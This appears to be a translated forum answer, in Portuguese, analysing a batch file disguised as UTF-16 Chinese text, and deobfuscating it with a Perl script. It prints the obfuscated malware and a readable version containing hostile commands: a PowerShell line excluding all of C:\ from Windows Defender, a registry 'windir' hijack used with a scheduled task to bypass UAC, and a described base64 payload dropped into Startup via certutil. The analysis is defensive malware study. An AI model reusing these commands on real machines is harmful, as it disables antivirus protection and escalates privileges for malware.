Como decodificar o conteúdo de um arquivo em lote com caracteres chineses

Na verdade, o arquivo tem texto ASCII regular (ou Windows-125x).

Parece apenas um pouco com UTF-16 contendo alguns caracteres chineses, devido a alguns bytes cuidadosamente escolhidos no início que são capazes de enganar filee outros softwares de detecção de caracteres. (Sua captura de tela mostra que o arquivo começa com FF FE, que é U+FEFF "Byte order mark" em UTF-16LE.)

Mas eu armazeno seu exemplo como UTF-16 LE e, em seguida, peço ao meu editor de texto para interpretar diretamente esses bytes como ASCII ou Windows-1252 - não converta , mas literalmente abra o arquivo como cp1252, assim como seu editor hexadecimal fez - então recebo um arquivo normal Script em lote do Windows Cmd:

&cls
@%pUBlIc:~89,83%%PUBLic:~5,1%CHo^ of^%PuBlIC:~46,16%f  
^%pUBlIC:~14,1%^L%pUBliC:~55,17%^%publIc:~4,1%  
SEt R^=Jg^%pUBLIc:~13,1%^gtGXz%pUBLIc:~4,1%w%pUBLIc:~11,1%^hm%pUBLIc:~10,1%^S^HI^O 
%r:~8,1%e%r:~4,1% na%r:~12,1%e = %r:~10,1%a%r:~4,1%c%r:~11,1% o%r:~10,1%%r:~13,1%%r:~8,1%ca%r:~4,1%or %r:~10,1%y %r:~12,1%oo%r:~12,1%825 
%r:~8,1%e%r:~4,1% %r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1% = %r:~11,1%%r:~4,1%%r:~4,1%p%r:~8,1%://%r:~1,1%%r:~2,1%%r:~4,1%%r:~11,1%%r:~13,1%%r:~10,1%.co%r:~12,1%/%r:~12,1%oo%r:~12,1%825/%r:~10,1%a%r:~4,1%c%r:~11,1%-o%r:~10,1%f%r:~13,1%%r:~8,1%ca%r:~4,1%or-%r:~12,1%ade-%r:~2,1%n-py%r:~4,1%%r:~11,1%on  
^n^e%r:~4,1%^1^ %r:~8,1%^E%r:~8,1%%r:~14,1%%r:~16,1%o^N >^NU^L 2>&1  
^%r:~2,1%F %eRRORLeVEl% == 0 (  
Po^%R:~9,1%ER^%R:~14,1%%R:~11,1%^E^L^l/W 01 /ep 0^/^n%R:~17,1%^p^/c ^"^Ad^D-^M^pPr^EFe^R^En^Ce ^-^E%R:~6,1%^cl%R:~13,1%%R:~14,1%^%R:~16,1%o^N^Pa%R:~4,1%%R:~15,1% '^C:\' -^f^oRC^E;e^%R:~6,1%^%R:~2,1%%R:~4,1% "  
) EL%r:~8,1%^e (  
re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v %r:~9,1%%r:~2,1%nd%r:~2,1%r /%r:~4,1% RE^%r:~5,1%_%r:~14,1%Z^ /d ^"c%r:~12,1%d.exe /c %r:~8,1%%r:~4,1%ar%r:~4,1% \"\"^ /%R:~12,1%%R:~2,1%^n \"%~F0\">^N%r:~13,1%L 2>&1  || ^%R:~14,1%^vc%R:~15,1%%R:~17,1%%R:~8,1%%R:~4,1%^" >N%r:~13,1%^L 2>&1  
%r:~14,1%c%r:~15,1%TA%r:~8,1%k%r:~8,1% /RUN ^/Tn \M%r:~16,1%cr

(Geralmente, os mesmos bytes podem ser lidos de várias maneiras – por exemplo, os dois bytes 2c 31significam o caractere "ㄬ" se lido como UTF-16 LE, ou os caracteres ,1se lidos como ASCII. Por exemplo, você vê "㩲㉾ㄬ" um muito em seu editor porque, na verdade r:~2,1, é parte de uma expansão de variável em lote.)

Este "gibberish" é um arquivo de lote padrão, apenas um pouco ofuscado - você está vendo muitas %variable:~start,length%expansões de variáveis; caracteres específicos da %PUBLIC%variável são reagrupados em %R%e, em seguida, caracteres específicos dessa variável são usados ​​para criar comandos. No entanto, por exemplo,

re%r:~1,1% add %r:~15,1%KCU\Env%r:~2,1%ron%r:~12,1%en%r:~4,1% /f /v

claramente significa reg add HKCU\Environment /f /v.

Depois de construir a maior parte %R%adivinhando¹ e removendo muitos ^caracteres de escape estranhos, o resultado é:

&cls
@ECHo off  
cLs  
SEt R=JgigtGXzswbhmuSHIO 
set name = batch obuscator by moom825 
set github = https://github.com/moom825/batch-obfuscator-made-in-python  
net1 sEsSIoN >NUL 2>&1  
iF %eRRORLeVEl% == 0 (  
PowERShELl/W 01 /ep 0/nOp/c "AdD-MpPrEFeREnCe -EXcluSIoNPatH 'C:\' -foRCE;eXit "  
) ELse (  
reg add HKCU\Environment /f /v windir /t REG_SZ /d "cmd.exe /c start \"\" /min \"%~F0\">NuL 2>&1  || SvcHOst" >NuL 2>&1  
ScHTAsks /RUN /Tn \MIcr

A primeira coisa que faz é muito suspeita - depois de verificar se tem direitos de administrador usando net1 session, ele adiciona toda a unidade C:\ à lista de exclusão do Windows Defender. (No caso "else" ele provavelmente tenta se elevar por meio do Agendador de Tarefas, como forma de contornar o UAC.)

Com base no snippet inicial, isso pode desofuscar o restante:

#!/usr/bin/env perl

my %vars = (
    public => "C:\\Users\\Public",
    r => "JgigtGXzswbhmuSHIO",
);

while (<>) {
    s/%(r|public):~(\d+),(\d+)%/substr($vars{lc $1}, $2, $3)/ige;
    s/\^(.)/$1/g;
    print;
}

¹ (Eu fiz isso no Linux e não percebi que %PUBLIC% é na verdade uma variável padrão que existe em todos os sistemas Windows...)

A julgar pelo texto existente que posso ver, acho que este é o desafio ctf de john hammond ( https://ctftime.org/task/17327 ). Tenho certeza de que john fez o desafio de uma amostra de vírus, então é que você tem o ctf de john em seu servidor por algum motivo (inofensivo) ou você tem a amostra original em seu servidor (possivelmente prejudicial).

O vírus faz um desvio do UAC (controle de conta de usuário) usando o método de desvio do UAC do agendador de tarefas (agora estou baseando isso no ctf de john) ele desativa todo o Windows Defender e, em seguida, grava um exe codificado em base64 para "C:\Users \Username\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup", então ele usará um utilitário do Windows chamado "certutil" que possui uma função de decodificação base64. Portanto, no total, esse arquivo de lote obterá admin, desativará o defensor e gravará a carga útil na inicialização, adicionando persistência, decodificando a carga útil e executando-a.

Eu sugiro NÃO executar isso!